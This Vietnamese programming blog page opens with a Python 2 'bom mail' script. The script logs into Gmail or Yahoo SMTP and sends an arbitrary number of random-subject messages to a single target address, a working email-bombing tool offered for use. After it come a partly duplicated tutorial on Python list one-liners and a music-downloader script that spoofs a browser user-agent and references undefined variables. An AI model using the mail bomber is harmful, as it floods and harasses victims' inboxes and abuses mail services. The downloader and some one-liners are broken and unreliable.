- # code bom mail by Kevin Kien
- import os
- import smtplib
- import sys
- server = raw_input ('Server Mail: ')
- user = raw_input('Username: ')
- passwd = raw_input('Password: ')
- to = raw_input('To: ')
- subject = raw_input('Subject: ')
- body = raw_input('Message: ')
- total = input('Number of send: ')
- if server == 'gmail':
- smtp_server = 'smtp.gmail.com'
- port = 587
- elif server == 'yahoo':
- smtp_server = 'smtp.mail.yahoo.com'
- port = 25
- else:
- print 'Applies only to gmail and yahoo.'
- sys.exit()
- print ''
- try:
- server = smtplib.SMTP(smtp_server,port)
- if smtp_server == "smtp.gmail.com":
- server.starttls()
- server.login(user,passwd)
- for i in range(1, total+1):
- subject = os.urandom(9)
- msg = 'From: ' + user + '\nSubject: ' + subject + '\n' + body
- server.sendmail(user,to,msg)
- print "\rTotal emails sent: %i" % i
- sys.stdout.flush()
- server.quit()
- print '\n Done !!!'
- except KeyboardInterrupt:
- print '[-] Canceled'
- sys.exit()
- except smtplib.SMTPAuthenticationError:
- print '\n[!] The username or password you entered is incorrect.'
- sys.exit()
Showing posts with label Lập trình. Show all posts
Showing posts with label Lập trình. Show all posts
code mail pythom
Pyhton One-line
Python one-line la bai toan don gian chi lam tren 1 dong
1, Lam thang 1 list
vd: 1 list nhu sau L = [[1,2,3], [4,5,6], [7,8,9], [10,11,12]] bien no thanh dang: L = [1,2,3,4,5,6,7,8,9,10,11,12]
O day minh su dung 1 ham la reduce hoac neu ban nao dung python 3.0 tro len thi dung thu vien functools.reduce nhe:
Con day la loi giai cua bai nay:
L = [[1,2,3], [4,5,6], [7,8,9], [10,11,12]]
reduce(lambda x, y: x + y, L)
hoac: functools.reduce(lambda x, y: x + y, L)
1 cach giai nua la: sum(L, [])
2, Loai bo cac phan tu trung nhau
vd: co 1 list nhu sau l = [1,2,2,1,1,1,3,3,3,4,4,6,5,4,8,] no se loai bo cac phan tu giong nhau l =[1,2,3,4,5,6,8]
o bai nay co 3 cach giai :
thu nhat : l = list(set(l))
cach thu 2;
l = dict.fromkeys(l).key()
cach thu 3: [x for i, x in enumerate(l) if i==l.index(x)]
3, Dem so phan tu co trong 1 list
5, kiem tra 1 list co la tap con cua list khac
1, Lam thang 1 list
vd: 1 list nhu sau L = [[1,2,3], [4,5,6], [7,8,9], [10,11,12]] bien no thanh dang: L = [1,2,3,4,5,6,7,8,9,10,11,12]
O day minh su dung 1 ham la reduce hoac neu ban nao dung python 3.0 tro len thi dung thu vien functools.reduce nhe:
Con day la loi giai cua bai nay:
L = [[1,2,3], [4,5,6], [7,8,9], [10,11,12]]
reduce(lambda x, y: x + y, L)
hoac: functools.reduce(lambda x, y: x + y, L)
1 cach giai nua la: sum(L, [])
2, Loai bo cac phan tu trung nhau
vd: co 1 list nhu sau l = [1,2,2,1,1,1,3,3,3,4,4,6,5,4,8,] no se loai bo cac phan tu giong nhau l =[1,2,3,4,5,6,8]
o bai nay co 3 cach giai :
thu nhat : l = list(set(l))
cach thu 2;
l = dict.fromkeys(l).key()
cach thu 3: [x for i, x in enumerate(l) if i==l.index(x)]
3, Dem so phan tu co trong 1 list
dict([(x, L.count(x)) for x in set(L)])
{x: L.count(x) for x in set(L)}
import collectionscollections.Counter(L)
4, Chia 1 list thanh nhieu list
SplitInto= lambda L, n: [L[i:i+n] for i in range(0, len(L), n)]
>>> SplitInto(range(10), 3)
5, kiem tra 1 list co la tap con cua list khac
all([x in a for x in b])
http://www.vithon.org/2010/01/22/python-one-liner
Python - tai nhac
from urllib2 import urlopenimport urllib2import reimport sysimport stringfrom datetime import datetimeimport osdef httpDownloader(out_file, req=None, url=None): if req: net_stream = urlopen(req) elif url: net_stream = urlopen(url) else: return 0 file_len = int(net_stream.info().getheaders('content-length')[0]) if os.path.isfile(out_file): if os.path.getsize(out_file) == file_len: print "%s exists!" % out_file return 0 else: print "%s exists but was not fully downloaded!" % out_file print "Downloading %s..." % out_file out_stream = open (out_file, 'wb') try: while True: bs = 512*8 block = net_stream.read(bs) if not block: break out_stream.write(block) except: out_stream.close() net_stream.close() return 0 out_stream.close() net_stream.close() return 1##########################Main program#########################if __name__ == '__main__': #Destination directory, where folder will be placed #dest_dir = "~/Music" dest_dir = "/media/Data/Music" #url #fake the mozilla headers hdrs = {'User-Agent' : 'Mozilla/5.0 (X11; U; Linux i686; en-US)AppleWebKit/533.2\ (KHTML, like Gecko) Chrome/5.0.342.7 Safari/533.2'} #get the current month dt = datetime.today() month = dt.month dest_dir = os.path.expanduser(dest_dir) sub_dir = string.join(["Thang", str(month)], '') #absolute path to destination directory if dest_dir[-1] == '/': abs_dir = string.join([dest_dir, sub_dir, '/'], '') else: abs_dir = string.join([dest_dir, '/', sub_dir, '/'], '') if not os.path.isdir(abs_dir): try: os.mkdir(abs_dir) except: print "Error, Can not create the directory %s" % abs_dir sys.exit() #make request req = urllib2.Request(url, headers=hdrs) #create streamreader fpage = urlopen(req) #regex _rem = re.compile(r'\?filename=|\"') links_list = [] try: while True: lnk = fpage.readline() if not lnk: break else: rlink = fline.search(lnk) if rlink: link_and_name = _rem.sub(' ', rlink.group()) splitted = link_and_name.split() links_list.append([splitted[0], splitted[1]]) finally: fpage.close() count = 0 try: for [link, file_name] in links_list: link_req = urllib2.Request(link, headers=hdrs) out_file = string.join([abs_dir, file_name], '') count = count + httpDownloader(out_file, req=link_req) except KeyboardInterrupt: print "User pressed Ctrl-C! Quitting..." sys.exit(1) except : print "Something was wrong with links, please check the links!" print "==========================================================" print "%d file(s) have/s been downloaded to %s" % (count, abs_dir) print "==========================================================" |
Subscribe to:
Posts (Atom)